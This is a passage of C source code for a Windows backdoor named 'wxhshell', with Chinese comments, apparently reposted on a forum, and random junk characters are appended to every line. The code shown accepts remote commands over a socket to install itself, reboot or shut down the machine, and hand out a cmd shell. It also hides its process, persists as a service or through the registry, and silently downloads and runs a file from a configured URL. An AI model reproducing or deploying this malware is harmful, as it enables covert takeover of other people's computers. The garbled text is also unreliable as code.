  -MB ,]m  
  // 帮助 WqYl=%x"{V  
  case '?': { .Z/"L@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rTmcP23]  
    break; $#KSvo{otI  
  } 3*8#cSQ/6o  
  // 安装 UK _2i(I"e  
  case 'i': { r43dnwX  
    if(Install()) QF%@MK0zC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hfEGkaV._3  
    else f, ;sEV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4=q\CK2^A  
    break; Bb-x1{t  
    } W:9L!+m^  
  // 卸载 k)S7SbQ  
  case 'r': { N18Zsdrp  
    if(Uninstall()) U6M4}q(N]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v{%2`_c  
    else ?dxhe7m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hTg%T#m  
    break; ]^ j)4us  
    } N:&^ql4  
  // 显示 wxhshell 所在路径 A1YIPrav(  
  case 'p': { { 0Leua  
    char svExeFile[MAX_PATH]; A>d*<#x  
    strcpy(svExeFile,"\n\r"); C/]0jAAE7  
      strcat(svExeFile,ExeFile);  p&ZD1qa  
        send(wsh,svExeFile,strlen(svExeFile),0); 8.9S91]=  
    break; .^Ek1fi.  
    } oq0G@  
  // 重启 )9@Ftzg|  
  case 'b': { '9^x"U9c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bNc=}^  
    if(Boot(REBOOT)) >L=l{F6 p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q l8CgL  
    else { fmloh1{4  
    closesocket(wsh); u1>|2D  
    ExitThread(0); 8+GlM+>4  
    } \UK  9  
    break; eqjl$QWPJS  
    } e#16,a-}o  
  // 关机 seq S*^7  
  case 'd': { A:;KU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vT[%*)`  
    if(Boot(SHUTDOWN)) vH7"tz&RIp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); srC'!I=s>8  
    else { hEEbH@b  
    closesocket(wsh); 'VO^H68  
    ExitThread(0); +gT?{;3[i  
    } 4pA(.<#A  
    break; 8HTV"60hTs  
    } |yQ3H)qB#  
  // 获取shell <Ep P;  
  case 's': { *4+;E y  
    CmdShell(wsh); ~":?})  
    closesocket(wsh); rF 7EO%,  
    ExitThread(0); Af*^u|#  
    break; x{&Z|D_CM  
  } Pk*EnA)  
  // 退出 wRUpQ~=B2  
  case 'x': { J^1w& 40  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,=z8aiUu  
    CloseIt(wsh); ^V>sNR  
    break; )2FS9h.t  
    } G?8,&jP~T  
  // 离开 :IS]|3wD  
  case 'q': { J}<k`af  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KVqQOh'_T  
    closesocket(wsh);  aA0aW=R  
    WSACleanup(); &.Yh_  
    exit(1); hv7!x=?8  
    break; ks'25tv}F  
        } I[&z#foN=w  
  } SAXjB;VH6  
  } 3Jk;+<  
0UlaB sv  
  // 提示信息 ,?i#NN5p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0nA17^W  
} 0$* z   
  } 7kG>s9O  
k,b(MAiQ0  
  return; H}JH339  
} 7c<2oTN'  
CWt,cwFW  
// shell模块句柄 j'CRm5O  
int CmdShell(SOCKET sock) mKWA-h+f  
{ _Z5l Nu  
STARTUPINFO si; j}S  
ZeroMemory(&si,sizeof(si)); rN} {v}n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z26zl[.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $5cLhi"`  
PROCESS_INFORMATION ProcessInfo; ].2q.7Yur  
char cmdline[]="cmd"; <;SMczR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n5oB#>tI0  
  return 0; ;c<:"ad(  
} `%F.]|Y0  
0qZ{:}`3  
// 自身启动模式 1 dI  
int StartFromService(void) ma?569Z8~0  
{ MdZ7Yep  
typedef struct ZK3?"|vhC  
{ N;RZIg(x  
  DWORD ExitStatus; Z4bN|\I  
  DWORD PebBaseAddress; BI,K?D&W-  
  DWORD AffinityMask; b"x;i\Z0%  
  DWORD BasePriority; o<@2zhuhrx  
  ULONG UniqueProcessId; t3v*P6  
  ULONG InheritedFromUniqueProcessId; p!U#53  
}   PROCESS_BASIC_INFORMATION; 0>VgO{X  
\f0I:%-  
PROCNTQSIP NtQueryInformationProcess; D-A#{e _  
pShSK Rg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?i)-K?4Sb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hG&RGN_<6+  
n4(w?,w }  
  HANDLE             hProcess; G:A ~nv9  
  PROCESS_BASIC_INFORMATION pbi; 8p>%}LX/  
(= uwx#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }B^s!y&b  
  if(NULL == hInst ) return 0; Fov/?:f$  
`k _5Pz\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j\!zz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %v : a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B;hc|v{(  
w&`gx6?-na  
  if (!NtQueryInformationProcess) return 0; q;tsA"l  
Mwp#.du(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xgsD<3  
  if(!hProcess) return 0; bq<QUw=]q&  
"p2 $R*ie  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hH )jX`Ta  
Q gDjc '  
  CloseHandle(hProcess); <74q]C  
=@gH$Q_1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?VS {,"X  
if(hProcess==NULL) return 0; wC'KI8-  
UQ`%,D  
HMODULE hMod; 8X5;)h   
char procName[255]; dGP*bMCT  
unsigned long cbNeeded; L.l%EcW=,  
C<6u}czA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >:Xzv  
/$&~0pk  
  CloseHandle(hProcess); a%*W^R9Ls  
2frJSV?  
if(strstr(procName,"services")) return 1; // 以服务启动 )'DFDrY  
!ssE >bDa  
  return 0; // 注册表启动 Y?ZTl762  
} h_* =_2|}  
V|#B=W  
// 主模块 Qaq{UW  
int StartWxhshell(LPSTR lpCmdLine) b (;"p-^  
{ $axaI$bE  
  SOCKET wsl; REQ2pfk0  
BOOL val=TRUE; Ml+.\'r  
  int port=0;  f==o  
  struct sockaddr_in door; [$8*(d"F'  
Q:>;d-D|1  
  if(wscfg.ws_autoins) Install(); XuoI19V[  
`lN1u'(:  
port=atoi(lpCmdLine); 8Tt2T} Y  
8[(c'rl|)|  
if(port<=0) port=wscfg.ws_port; UFouIS#L  
?n\~&n'C  
  WSADATA data; @<W"$_ r-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K]N^6ome  
\ $X3n\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `: i|y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K)l{3\9l|  
  door.sin_family = AF_INET; " *kWM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F@"X d9q?  
  door.sin_port = htons(port); SO]x^+[  
jWUN~#p!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { htMsS4^Kvd  
closesocket(wsl); y !47!Dn  
return 1; ;T-i+_  
} o@EV>4e y  
"EWU:9\0  
  if(listen(wsl,2) == INVALID_SOCKET) { vb{&T<  
closesocket(wsl); i ,4  
return 1; J j yQ  
} j=PQoEtU'<  
  Wxhshell(wsl); D3;^!ln]D  
  WSACleanup(); zu*0uL  
0*B_$E06  
return 0; (.<Gde#  
X~]eQaJ  
} &tLg}7?iB  
>pG]#Z g  
// 以NT服务方式启动 u;h9Ra1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7bQ#M )}  
{ #9#N+  
DWORD   status = 0; PrDvRWM  
  DWORD   specificError = 0xfffffff; ZKAIG=l&!  
, $78\B^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^^3 >R`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i.0}qS?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i*9eU*i|H  
  serviceStatus.dwWin32ExitCode     = 0; Ds&)0Iwf  
  serviceStatus.dwServiceSpecificExitCode = 0; `(W V pP?  
  serviceStatus.dwCheckPoint       = 0; pFGdm3pV  
  serviceStatus.dwWaitHint       = 0; ;vQ7[Pv.j  
ib/&8)Y+J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5p U(A6RtS  
  if (hServiceStatusHandle==0) return; E88_15'3D  
e_\4(4x  
status = GetLastError(); 3/}=x<ui  
  if (status!=NO_ERROR) GB^Ch YOb  
{ goIn7ei92  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]1abz:  
    serviceStatus.dwCheckPoint       = 0; 31Zl"-<#-  
    serviceStatus.dwWaitHint       = 0; N%_-5Q)so  
    serviceStatus.dwWin32ExitCode     = status; -t:y y:4  
    serviceStatus.dwServiceSpecificExitCode = specificError; JAmv7GL'6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 76zi)f1f  
    return; >6r&VZu*n  
  } .IYOtS  
Z&JW}''n|F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SZ1+h TY7d  
  serviceStatus.dwCheckPoint       = 0; :g+R}TR[i  
  serviceStatus.dwWaitHint       = 0; p,]Hs{R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Uu }ai."iB  
} \8{C$"F  
<`H:Am`  
// 处理NT服务事件,比如:启动、停止 S"5</*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r\ ` R$  
{ -[0)n{AVvU  
switch(fdwControl) ]*[S# Jk  
{ :Oa|&.0l?  
case SERVICE_CONTROL_STOP: amlE5GK;  
  serviceStatus.dwWin32ExitCode = 0; WASs'Gx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M6pGf_qt  
  serviceStatus.dwCheckPoint   = 0;  {hZ_f3o  
  serviceStatus.dwWaitHint     = 0; M2my>  
  { $ LFzpg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :E@"4O?<Y)  
  } C Ij3D"  
  return; 1 /7H` O?  
case SERVICE_CONTROL_PAUSE: )Qp?N<&'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @e$z Ej5  
  break; !;zacw  
case SERVICE_CONTROL_CONTINUE: 5a5 I+* c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kX+y2v(2++  
  break; w KXKc\r  
case SERVICE_CONTROL_INTERROGATE: KosAc'/ M  
  break; vT\`0di~  
}; ;w}ZI<ou  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K}&|lCsb  
} \Ao M'+  
iNd 8M V  
// 标准应用程序主函数 }y x'U 3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0K@s_C=n#  
{ P]j{JL/g&  
M:Xswwq  
// 获取操作系统版本 iN<&  
OsIsNt=GetOsVer(); pRPz1J$58  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g[q1P:I@W  
D!TS/J1S;u  
  // 从命令行安装 gSL$silc  
  if(strpbrk(lpCmdLine,"iI")) Install(); :&&Ps4\Sq  
qyp"q{k0  
  // 下载执行文件 w# ,:L)  
if(wscfg.ws_downexe) { >9uDY+70I3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hi`\3B  
  WinExec(wscfg.ws_filenam,SW_HIDE); R l^ENrv!]  
} 3oE *86  
najd~%?Rs  
if(!OsIsNt) { v?-pAA)ht  
// 如果时win9x,隐藏进程并且设置为注册表启动 m~(]\  
HideProc(); 2/E3~X7  
StartWxhshell(lpCmdLine); 5?kF'yksR  
} @Zjy"u  
else UccnQZ7/I  
  if(StartFromService()) q 1Rk'k4+  
  // 以服务方式启动 ~BDVmQa  
  StartServiceCtrlDispatcher(DispatchTable); 'fy1'^VPAV  
else ;oH%d;H  
  // 普通方式启动 u6awcn  
  StartWxhshell(lpCmdLine); |Y0BnyGK  
kbM4v G  
return 0; {%N*AxkvId  
}
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只看该作者 1 发表于: 2006-10-10
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